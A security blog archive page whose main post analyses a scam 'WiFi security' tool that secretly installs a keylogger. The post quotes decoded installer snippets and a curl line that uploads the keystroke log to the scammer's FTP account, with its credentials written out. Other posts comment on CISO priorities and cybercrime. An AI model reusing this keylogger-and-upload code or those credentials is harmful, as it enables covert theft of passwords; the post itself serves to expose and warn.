Tag Archives: eCrime

How [not to] scam security people

I have been playing around with some wireless security for one of my customers lately. Having a pretty solid understanding of how things work, but also having been challenged to try out “everything there is to try” by the client, I went off to look for new tools that I might not have tried before.

It did not take too long, and with the accidental help of TechCrunch (btw TechCrunch – you may want to change this link to something else after you read this…) I ran into this “Wifi Security” site.

Yes, I know, the design is horrible, the scrolling thing on the top of the page is just missing a <blink> tag to drive you into an epileptic seizure, and the music, well, it’s music as part of a website – welcome to the 80’s.

Not being deterred by the horrible design, I went ahead and downloaded the “tools” offered in the article. After all, the FBI are using this guy’s tools…
A quick look, and I was faced with three supposed shell scripts (ended with a .sh), and a tarball called “rogue.tar.gz”.
When you get a shellscript that isn’t a shellscript, and is being reported as an “ELF” executable, you should get your detective hat on, which is exactly what I did.
It didn’t take long, and the scam unfolded pretty quickly. Here’s a quick recap of what’s going on with this guy’s website:

  1. The provided “tools” aren’t even security tools. Initially I figured – ok, so this guy packed a few open source wireless tools and scripted them for easy usage. No. Not even karma which the main script suggests that is being used (appropriately I might add for the purpose of what this script is SUPPOSED to do).
  2. A quick look at the tarball revealed that is actually contains a keylogger that has been graciously stolen from here.
  3. When the main script (karma.sh) is run, two supporting scripts (bg1.sh and bg2.sh) are launched. They are taking care of compiling the keylogger, running it, and pushing the logged keys logfile to an FTP for the attacker (I guess we can call him that now) to use at his convenience.
  4. You are prompted to log into your webmail account, send a request for a free activation code with an indemnity text, which would be answered by the “automatic” processes on their end promptly so you can enter the code into the installer and start playing around with WiFi security. FTW!

Observant readers may notice that I referred to the tool as having “supposed” script files, that are actually binaries, and now I refer back to them as scripts. What gives?
Well, simply put, our attacker didn’t really take the time to code an application, he just wrote a couple of shell scripts, and in order to try to hide his malicious and ill-intent actions he “compiled” them with a utility that packs shellscripts in executable form called shc. The road from a linux executable to realizing what the script originally was is pretty short…

Now, that most of the cards are on the table, we can actually take a look at what scam this guy is running, and how he runs this. Following are some snippets from the shellscript that was presumably a wireless security tool. Even if you are not an avid Linux shellscripter, I’m sure that the annotations (true to the original) will shed some light…

cd lkl2
./configure –silent
make –silent
make install –silent
chmod +x /root/bg1.sh
nohup /root/bg1.sh &
rm -r /root/nohup.out
chmod +x /root/bg2.sh
nohup /root/bg2.sh &
sleep 2
rm -r /root/nohup.out

So, we see how the keylogger is compiled, installed and the supporting scripts bg1 and bg2 are run.
Next up, is the installer itself (if one can call that) which prompts for the user to send a FREE activation request to the attacker:

echo “”
echo “——————————————————— “
echo “——————————————————— “
echo “”
echo “1. Compose indemnity text below and send to [email protected]
echo “ Yes, I want activation code and will never use for illegal purpose”
echo “”
echo “2. Check your email for activation code after sending text “
echo “”
read -p “3. Send now ? (0=no, 1=yes) “ act

Obviously, the message WILL appear, as this thing is NEVER going to be activated – remember – this is a shellscript, and the “menu” appears as-is unconditionally so you can try to activate this until blue in the face… but we are getting ahead of ourselves.

I mentioned in the title that the scam is targeting security people. Besides the obvious wireless security related topic, here’s another little piece of “evidence” from the script:

read -p “Which backtrack are you using ? (bt3=3,bt4=4) ” bt

Our little friend is assuming that we are using BackTrack (as most security folks do) to run their wireless tests… the script continues according to which version of BT is entered (to accommodate the differences in network configuration…).
I’ll skip through the network connectivity checks (trust me), and next up the attacker makes sure that firefox isn’t running, and:

firefox https://login.yahoo.com/ &
sleep 4
firefox https://www.google.com/accounts/ManageAccount &
sleep 4
firefox http://home.live.com/

The attacker obviously wants us to log into one of our webmail accounts so we can send him that activation request email with the indemnity text (how considerate). Keeping in mind that the keylogger is on and it’s activities are uploaded in the background to the attacker’s FTP – this is exactly where most people will fall into the trap.

And for the grand finale – the actual activation (you’d think huh?):

echo “”
sleep 3
echo “You have entered an invalid code ”
echo “”

You have to admit that commented code is the best! It’s actually saying “decoy”! How f*&^ing awesome is that? You get to craft your email after logging into your Yahoo!/Gmail/Live account, and then go back to this completely useless activation part. I do like the fact that the author put a “sleep 3” before letting you know that you entered the wrong code. As if it was hard at work verifying it. Classic.

That’s about it for the technical analysis, but it wouldn’t be complete without the actual interaction with the attacker, wouldn’t it? Let’s see – so, we crafted a “request for free activation” email with the indemnity text in it, and guess what – we got a reply!


1. We are preparing the activation code for you.

2. To make worth our while, could you consider a small donation (suggest euro 11) to support the website via Paypal a/c [email protected] ?



So not only there is no activation code to be “prepared” for me (what? I’m going to feed it to the “decoy” and it’ll magically work?), we are being prompted to donate some cash for the poor bastard who worked so hard to make this tool for the community…
I cordially answered that:

1. Thanks. I’ll be looking forward for the activation code.

2. I’ll probably consider it after being able to test out the tool.

Which was replied with a suggestion to try the trial version on his site (which relates to a completely different tool, but let’s not be too picky about it…).
Now, thankfully, I was using one of my throw-away yahoo accounts, and apparently so our attacker. If you haven’t noticed, one of the cool things in the new Yahoo! webmail is that you get an indication whether the person emailing you is online or not, and you can chat with them!
Guess what happens next…

—– Our chat on Wed, 7/7/10 2:53 PM —–
Iftach(2:34 PM):  hey man
Iftach(2:34 PM):  mind if a ask a couple of questions?
fadzilmahfodh(2:34 PM):  okey
Iftach(2:35 PM):  cool. I’m doing this research on security tools and their
fadzilmahfodh(2:35 PM):  okey
Iftach(2:35 PM):  saw your tool and wanted to hear about how you got to write
it, how well is it distributed in the community etc…
Iftach(2:36 PM):  does that activation thing a common practice with free tools?
fadzilmahfodh(2:36 PM):  yes see, we need to maintain our website thus we need
fadzilmahfodh(2:37 PM):  everyday there are at least 500++ people asking for
Iftach(2:37 PM):  I see.
fadzilmahfodh(2:37 PM):  i no longer able to provide for free
fadzilmahfodh(2:37 PM):  too time consuming and i need to be compensated for my
time and effort
fadzilmahfodh(2:38 PM):  hope you understand

Time and effort? Right… For a scam script that doesn’t even have any networking functionality… Ok, I’ll go along…

Iftach(2:40 PM):  now, about the tool – that’s a linux binary obviously (thought
it was a shell script at the beginning). Did you base it on something existing
or write yourself?
fadzilmahfodh(2:41 PM):  i wrote it by my self then scramble the code
Iftach(2:41 PM):  hence the activation i see…
fadzilmahfodh(2:42 PM):  i can afford to give ‘free lunch’ to everybody. Hope
you understand
Iftach(2:43 PM):  sure, i understand.
fadzilmahfodh(2:43 PM):  So you interested in the software?
Iftach(2:44 PM):  more from a research point of view – for an article I’m
Iftach(2:44 PM):  so, the installer you use, I see that it contains some
additional code that is being compiled on the client.
fadzilmahfodh(2:45 PM):  Yes. The purpose is the code will be unique to user
Iftach(2:45 PM):  and I saw that there were some FTP connections made? Is that
to verify that the client is a registered one?
fadzilmahfodh(2:46 PM):  Well, that is another story…
Iftach(2:46 PM):  I’m listening
fadzilmahfodh(2:46 PM):  maybe some other time huh
Iftach(2:47 PM):  OK. Last question – do you get a lot of account passwords
through that keylogger that sends the data to your FTP?
fadzilmahfodh(2:47 PM):  sorry, no comment unless i am in court

At this point of my “interview” with him, I guess that my cover was going to get pretty real, hence this “article” that you are reading… You can’t make this stuff up so I figured I’ll blog it…

Iftach(2:48 PM):  aha, and it’s part of the installer because? just to make sure
people can send the activation email correctly?
Iftach(2:48 PM):  Back to statistics, out of the average 500 ppl asking for
activation – how many passwords do you manage to grab?
fadzilmahfodh(2:49 PM):  well, the ftp is to confirm that software match with
data in server
fadzilmahfodh(2:49 PM):  if it does not match, it will fail to run
fadzilmahfodh(2:49 PM):  or i can just change the data/activation code in the
fadzilmahfodh(2:49 PM):  then everything will not run
Iftach(2:49 PM):  and how does that relate to the keylogging?
fadzilmahfodh(2:50 PM):  well, that i another story…
Iftach(2:51 PM):  I mean – the keylogger data is sent to that FTP. Is that part
of the verification or is this a separate process?
Iftach(2:51 PM):  So, on average, how many accounts you manage to get on that
FTP server per day?
fadzilmahfodh(2:51 PM):  well, you do not even support my website and how the
hell am i going to tell you
Iftach(2:52 PM):  Let’s just get it straight – I’m not going to “support” the
site… I’m just doing some research on security tools.
fadzilmahfodh(2:52 PM):  bye
Iftach(2:53 PM):  You are free to tell, or not if you don’t want to. But I’m
publishing the story as it is…
Iftach(2:53 PM):  With your acknowledgment that you use a keylogger to steal your
site visitor passwords. Unless you want to be quoted otherwise in the story…

True to my chat with Fadzil (or whatever his name is), I’m telling it the way it is.

But wait, there’s more!!! more? how come? well, just to put some icing on this, I went back and decoded the script that was in charge of the FTP upload…

curl -s -k –ftp-ssl -T /pentest/log.txt -u fadzilmahfodh:buaya ftp://ftp.drivehq.com/code$number.txt

Just to see the final lameness come to life as I tested the account:


And you know what – it’s all our fault! If we as a community would have “donated” to this guy for all his hard work and effort that he’s been putting in creating tools that are used by the FBI (check out his site…), he would have had the money to keep his driveHQ account in order and could make a decent living out of ripping people off.


p.s. you can find me talking about this entertaining even on the ISDPodcast with my buddy Rick, I just had to vent off before putting this in writing, so hopefully this account is a bit more thorough and to your liking…

Update 7/13/2010: I could not have wished for better response from the community on this post, but having the actual culprit respond here is priceless. As you can probably see, Fadzil has posted a comment, and to sum things up let me just state that I’m not that surprised by its content (I think it’s called “pulling a ligatt” these days…). On one hand he offhandedly dismisses that there was ever such an issue with a keylogger, on the other hand he promises a better version with (and I’m quoting): “rogue ap + fake login page + keylogger + ftp = to get WPA or WPA2 password”.

You don’t say?! I’m still waiting for the security practitioner that will explain to me why would anyone need a keylogger + ftp to use a rogue AP with fake login pages. I’m really hoping that this post helps the community learn more on criminals such as the one we are dealing with here. Don’t be tempted to “smooth-talk” that tries to look technical and hackerish while having nothing behind it. And if you have had any additional experiences with this guy feel free to add them to the comments or email me so I’ll update this story for everyone’s benefit.

Identity crisis

Here’s a common question I get asked a lot: “What technology should I use to secure my server/network/[some technology]?”

wpid-IdentityCrisis-2010-06-7-14-11.jpgThe question is usually presented by someone who’s in charge of “Security” in an organization. Now, I wouldn’t have had a problem with this if this was a technician, or a pen-tester of sorts, but I get really nervous when the CISO/CIO/Security manager is the one asking.

I think that this question is highly inappropriate for two reasons:

  1. You should not be looking for “technology”. Buying a product is not going to make you more secure or less secure.
  2. You should not be trying to protect a technology. Your servers, networks, routers, PCs, etc… are not the focus of information security. The information is…

Having been working with senior management – sometimes as an advisor/consultant, and sometimes as a “virtual CISO”, I know that this is not what we expect the CISO or security manager to ask. We expect business savvy, we expect an understanding of what the information assets are, what are the information critical paths, who owns the information and what is the impact of every asset on the business. We expect that the understanding of how each assets fits into the grand scheme of things would be clear to whoever is in charge of securing it, and we expect them to take into account what is the potential damage related to each of these assets (in terms of losing it, having it fall into the wrong hands, etc…).
For me (or us when talking as management) this is the only way to approach security. Funny how things get a little unclear when all you thought you needed to know was which vendor/product fits where in your topology, huh?

What strikes me as most peculiar is the fact that a lot of these security “professionals” find themselves in a self proclaimed identity crisis, having to deal with business requirements and financial understanding of how the business operates. and the weirdest thing is that they often choose to get back to what then “know” best – the technology side of things. Definitely not the way to make a move…

wpid-risk-blocks-2010-06-7-14-11.jpgI’m really hoping that all this preaching of “know thyself before you know your enemy” would help somehow, because right now unfortunately the situation at hand only brings us more business (not that I’m complaining). But seriously now – technology is fine and cool, but having the aptitude to know where it fits, not on an architectural level, but from a business perspective is the key to what we do. Get back to the drawing board, erase the network topology and start drawing the business one!

Cyber[Crime|War] – connecting the dots – BlackHat EU 2010

Hola from Barcelona!

It’s been a very productive couple of days here. Quite a lineup for this version of the BlackHat briefings out here. I had the great fortune of speaking right after a fantastic opening by Jeff Moss (BlackHat founder and director) and Max Kelly (Facebook’s CSO) that just set me up perfectly – both discussed elements of attribution, deniability when talking about proxied attacks through certain countries, and how money is the driving force for all Cybercrime.

The talk went fairly well, and the responses I got afterward was favorable all around (if you were too shy to put me on the spot or complain feel free to do so here or on my email… all feedback will be highly appreciated). For your viewing pleasure, I am including the most up-to-date slides that I used for the talk here: CyberCrimeWar-BHEU2010.pdf

It’s all about the money

In my recent coverage of CyberCrime and CyberWar, I have neglected my old “friends” at the criminal world and gave them a little less attention (at least on their consumer business). It’s time to take a look back and see what are they up to.

Well – it might seem as non-news for readers of this blog (or people who were in my presentations at BlackHat, DefCon, HackerHalted, ExcaliburCon, BlueHat, or in other venues), but a couple of interesting sound-bytes may catch your eye:

1. ZeuS (good ol’e friend, how I missed debugging thou) has implemented licensing schema. The schema enforces that the licensed software be only used on licensed machines. News? yes, kind’a. Remember Neosploit (another personal pet-peeves)? Then you must remember the licensing scheme there as well. Pretty close to what ZeuS just introduced. And they say that the world has stopped sharing. pffff. And you can quote me on that. As anyone who ever took more than a brief look at how these things operate, the only takeaway possible is simple: It’s all about the money (hence – license enforcement is key. Ask Microsoft 🙂 )

2. Staying with ZeuS, there has been quite a lot of effort in the past few months to take down one of the main autonomous systems providing upstream for some of the biggest C&C’s hosting ZeuS. You can read more about it here, and here. Notable effort indeed, as TORYAK-AS has been on the hit list for ZeuS tracking researchers for a long time. Only thing is – there’s money here again. Which means that even taking down the entire AS won’t really take down the botnet as it relies on bulletproof hosting which means that there will ALWAYS be alternate routes leading to it. That’s how things work. Just like trying to fight trafficking and drug trade. As long as there is demand, there will be supply. You dry out one supplier, the economy will just pop out another one. It’s all about the money.

So, I’ll finish up with a couple of reassuring words. We are not done yet. We like fighting the technical battle (I’ll admit that I had my fun doing so, and still have fun when called to duty), but the real battle won’t be won in that playing field. Remember Al (Capone) – it didn’t take the DEA or FBI to take him down. It was the IRS…

CyberCrime, CyberWarfare, and 2010

I’ll spare you the “2009 security in review” which you can read just about anywhere else you go now. I’ll also avoid the “what to expect in security in 2010” because everyone would just reiterate the same stuff they saw coming to life in 2009…

What I would do is give a quick preview on some areas of interest which I’m focusing on now – as you know, CyberCrime has been a big thing in terms of a research topic for me during the last few years. As expected, the simple technical stuff has been less of a focus (predictable, not so innovative), and the behind the scenes of how this whole thing works as a business and an industry have been the areas of innovation and true new insights on my part. As the research I conducted and managed chugged through, the many evidence that came to view also contained additional “leads” into areas that I have not explored firsthand before. That’s exactly what I’m knee-deep in now…

There have been rumors (some of them sprinkled by yours truly in my latest talks worldwide) of links between CyberCrime and nation endorsed CyberWar. In an attempt (which would hopefully not completely fail 😉 ) to make some sense out of the materials gathered and the links mapped thus far, I’ll have something ready pretty soon for peer review (if I nagged you than now you know why…), and a more public presentation of the material (again – hopefully at some of the security conferences of 2010).

So, just about making it to the first post of 2010 here, have a great year, and… stay safe out there 🙂